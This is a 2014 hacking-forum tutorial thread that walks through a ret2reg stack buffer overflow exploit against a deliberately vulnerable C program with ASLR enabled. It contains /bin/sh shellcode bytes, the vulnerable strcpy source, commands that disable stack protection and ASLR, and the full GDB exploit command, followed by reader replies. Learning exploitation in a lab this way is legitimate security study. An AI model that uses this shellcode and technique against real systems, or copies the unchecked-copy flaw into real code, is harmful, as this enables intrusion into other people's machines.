

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] ~ Buffer Overflow with ASLR ~ Ret2Reg - Reliable Exploits](#)

Goodies - January 15, 2014, 2:57 pm

Hello everyone!

In my last tutorial, we looked at a buffer overflow attack and brute forced ASLR entropy. This attack can take a VERY long time and is not exactly very 'efficient'. I'm going to assume that you have already read that tutorial and have also read my Linux Shellcoding tutorial.

Let's begin.

Prelude & Files I'm Using:

As in my last tutorial, I'll be generating a random number using <http://random.org> between 100 and 999 (I am going on the higher end).

Spoiler ([Click to View](#))

Alright. My number is 703. I'll be using the same source as last tutorial as well.

- ~ Vuln.c (Source below) - <http://pastebin.com/XSDjiAVN>
- ~ Customized Python Pattern - <http://pastebin.com/CZzWEKZw> (See file for parameters)
- ~ Shellcode from Last Tutorial ([Click Here to Go There](#)):

Code

```
\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
```

C File I'm using (vuln.c):

PHP Code

```
<?php
#include <stdio.h>
#include <string.h>
```

```
void setname(char* input){
    char name[703]; //replace 703 with your random number
    strcpy(name, input);
    printf("Hello %s!\n", name);
}
```

```
int main(int argc, char** argv){
    if(argc != 2){
        printf("No Argz or too much Argz\n");
        return 0;
    }
    setname(argv[1]);
    return 0;
}
```

Alright. Let's compile it. Next time I'll be showing you a method of 'bypassing' non-executable stacks. But for now, we're going to assume the stack is executable.

```
gcc -m32 -fno-stack-protector -z execstack -o vuln vuln.c
```

If you seem to be having errors, try:

```
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
```

```
-mpreferred-stack-boundary=[NUMBER]
```

This set's the stack boundary to $2^{\text{[NUMBER]}}$ bytes. So, in this case, $2^2=4$ bytes.

We are also going to disable ASLR for the first part of the tutorial. This will make it a little easier later on.

```
sudo echo 0 > /proc/sys/kernel/randomize_va_space
```

Now, if you still get a permission error, try:

```
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
```

Part I: Dissect the Program, Find the Exploit

Here we are going to essentially run the same attacks. let's start up GDB with our file:

```
gdb vuln
```

```
(gdb) set disassembly-flavor intel //set the ASM to Intel Syntax. We may need it.
```

Alright. Remember that python file we had last tutorial? We are using it again.

```
python pattern.py m 1000 pattern.txt
```

```
cat pattern.txt
```

And paste that into your GDB python arg.

```
(gdb) run `python -c 'print "[Pattern]"`
```

Alright. We have our EIP which is 0x75676174 so let's go ahead and 'find' our offset using:

```
python pattern.py f 0x75676174
```

```
Offset: 707
```

Testing if it's correct:

```
(gdb) run `python -c 'print "A"*707+"GGGG"'`
```

```
(gdb)info reg eip
```

```
eip    0x47474747 0x47474747 <main+42>
```

```
Success!
```

We can see the EIP has, indeed, been overwritten.

Alright, we're going to run the pattern command again:

```
(gdb) run `python -c 'print "[Pattern]"`
```

And dissect the ESP

```
(gdb) x/12x $esp - 16
```

Let's go ahead and disassemble the main function:

```
(gdb) disas main
```

I'm going to set a breakpoint right when it CALLs the function.

```
(gdb) break *0x08048477
```

I am also going to set a breakpoint when the function "setname" returns. Let's see that:

```
(gdb) disas setname
```

```
(gdb) break *0x0804844c
```

Okay. Go ahead and run the program with the pattern and we should hit our first break.

```
(gdb) run `python -c 'print "[Pattern]"`
```

Okay, we hit our breakpoint. Now we are going to view the contents of each register, starting with EAX.

```
(gdb) info reg
```

```
(gdb) x/12x $eax - 16
```

Hmmm.... this is suspiciously similar to our pattern. let's "find" it again in our pattern.

1st DWORD of EIP: 0x61616161

2nd DWORD of EIP: 0x61616261

3rd DWORD of EIP: 0x64616163

We see that EAX actually points to the beginning of our buffer! Now, we want to write our payload in the beginning of the EAX (I'll give it a 50 NOP sled first) and jump to it.

Here's our issue, we don't want to use memory addresses affected by ASLR. Instead, we are going to use a function already in the program. Let's use OBJDUMP to disassemble our program. We want to find anything that executes our EAX.

This may include:

jmp eax ~ simply jumps to EAX.

call eax ~ pushes EIP onto the stack and then jumps to EAX. This is what we are going to use.

Alright. So in another terminal, we are going to run this:

```
objdump -D vuln | grep "eax" | grep "call"[/color]
```

Okay, great. Let's use any of these. I'll choose the first "call" one and we'll just go down the list.

We have:

8048396 = 0x08048396 = \x96\x83\x04\x08

Let's put that in the spot that would overwrite the EIP. What this is going to do is execute the "call EAX" command and execute whatever's in our EAX No Matter Where the EAX is In Memory!!!

Okay, first we need to put in our shellcode and calculate for the offset now that our shellcode goes BEFORE the EIP rather than AFTER.

Shellcode Length: 36 Bytes

Offset until EIP: 707

Alright. Let's do some advanced calculus here. I'm going to have 100 NOPs before it (I'm just paranoid and I like having a cushion... just in case).

707 - 100 (nops) = 607 - 36 (shellcode) = 571 (extra bytes needed)

```
(gdb) run `python -c 'print
"\x90"*100+"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x
53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+" \x90"*571+"GGGG"'`
```

Let's see if that will work. Hit go and we hit our first breakpoint. Let's look at the EAX.

This command shows 40 DWORDs:

~ 100 NOPs. 4 NOPs per DWORD. 25 DWORDS in total. Then the shellcode starts.

~ Shellcode is 36 bytes or 9 DWORDs. Added another line to show NOPs.

```
(gdb) x/40x $eax
```

Alright. Type 'c' to continue... Look at the EIP and EAX.

```
(gdb) con
```

We hit Breakpoint 2... Remember this is one step before the STRCPY command is executed. Let's step in (stepi) and look at the EIP changes before/after.

```
(gdb) con
```

```
(gdb) info reg eip eax
```

Our EIP has not yet been overwritten, but our ESP return address has.

```
(gdb) x/12x $esp
```

Let's put that "JMP EAX" address into our EIP overwriting section which is currently "GGGG".

Note: You may need to simply wait a few moments for memory to deallocate from the stack. Or exit GDB and restart it.

```
(gdb) run `python -c 'print
"\x90"*100+"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x
53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+" \x90"*571+"\x96\x83\x04\x08"'`
```

Again, \x96\x83\x04\x08 is the address of the CALL EAX command :)

Alright, we got a shell :D That's all well and good, but we need to check if this will work with ASLR ON. So let's exit GDB and turn on ASLR.

```
(gdb) quit
```

```
sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
```

```
cat /proc/sys/kernel/randomize_va_space
```

Alright. To test the reliability of the exploit, I ran it, showed that ASLR is still on, and exited. Then I waited about 30 seconds for the memory to deallocate, ran it again, and showed ASLR is still on. I did this 3 times, but I can do it until I die of old age. Note that the exploit command NEVER changes.

We now have a reliable exploit with ASLR!

DrDinosaur - January 15, 2014, 7:44 pm

Goodies you need to stop scaring me.

Goodies - January 15, 2014, 8:56 pm

(Jan 15, 2014 08:44 PM)DrDinosaur Wrote: [\[CITE\]](#) Goodies you need to stop scaring me.
This is my last one for a while. Now I'm writing my bind TCP shell in ASM to use as shell code :)

Mad76e - January 16, 2014, 1:57 am

Bookmarked :) I really need a kick in the butt regarding this.. Its really time to read a book or 2 on the subject

Goodies - January 16, 2014, 3:48 pm

My TCP Bind shell tutorial is almost
complete.??

DJ Khale?d - January 17, 2014, 8:26 am

(Jan 15, 2014 09:56 PM)Goodies Wrote: [\[CITE\]](#) This is my last one for a while. Now I'm writing my bind TCP shell in ASM to use as shell code :)

Why?

<http://www.exploit-db.com/exploits/25497/>

What do you plan on doing to improve it or make it better?

Goodies - January 17, 2014, 8:41 am

(Jan 17, 2014 09:26 AM)DJ Khale?d Wrote: [\[CITE\]](#) Why?

<http://www.exploit-db.com/exploits/25497/>

What do you plan on doing to improve it or make it better?

Well, I'm not using any extraneous ASM resources online or otherwise. Only a C source (i dont write in C) to base the ASM off of. I'll go line by line explaining everything because people new to ASM won't get that link.

I'll be writing it 100% by myself. People get a sense of accomplishment when they know how something works and use it themselves.

Edit: I'm writing a tutorial about it. I'd never spend time writing it myself, but its cool for people to know how shell code works.

Goodies - January 24, 2014, 7:29 pm

Thanks! You must have put a lot of work into this!

Rap!st - January 24, 2014, 8:10 pm

Indeed thanks, really usefull information!

Goodluck with your other tutorial!

Rapist?

whyitell - January 25, 2014, 5:36 am

Great tutorial as always. I am starting to understand the concept of buffer overflows alot better thanks to you!

Goodies - February 7, 2014, 6:17 pm

(Jan 25, 2014 06:36 AM)whyitell Wrote: [\[CITE\]](#) Great tutorial as always. I am starting to understand the concept of buffer overflows alot better thanks to you!

My pleasure :)

I'm glad you're taking an interest! I'm fairly new to it myself.

?ain - February 8, 2014, 2:29 am

(Feb 7, 2014 07:17 PM)Goodies Wrote: [\[CITE\]](#) My pleasure :)
I'm glad you're taking an interest! I'm fairly new to it myself.
"Fairly new" that's undermining yourself.

You're fucking good. I need to learn more about this, I only know a fair share of wep application pentesting.

Goodies - February 8, 2014, 2:32 am

(Feb 8, 2014 03:29 AM)G0dOf4ll Wrote: [\[CITE\]](#) "Fairly new" that's undermining yourself.

You're fucking good. I need to learn more about this, I only know a fair share of wep application pentesting.

Naw ;) trust me, I'm not that great. This stuff really isn't that advanced :P Which reminds me.. it's time for ret2libc tut... I'll do that asap :)

Goodies - February 12, 2014, 1:09 am

Also sending this to the top of the stacs subforum.

RelationShit - February 14, 2014, 7:50 pm

This was kinda like an entire documentary, was an interesting read.
Thanks for your time writing it!;)

super_haker2002 - February 27, 2014, 8:35 pm

Great tutorial as always. thanks to you!

muz3 - May 10, 2014, 11:25 pm

I'll like it. It's good you take it in a straightforward tutorial manner, theres lot of other resources if you just wanna know things a bit more under the hood.

Good job!

Coming any more exploitation tutorials?

edit: Good thing would be to link your references

mudasir007 - May 11, 2014, 3:55 am

Will this attack work in High Entropy ASLR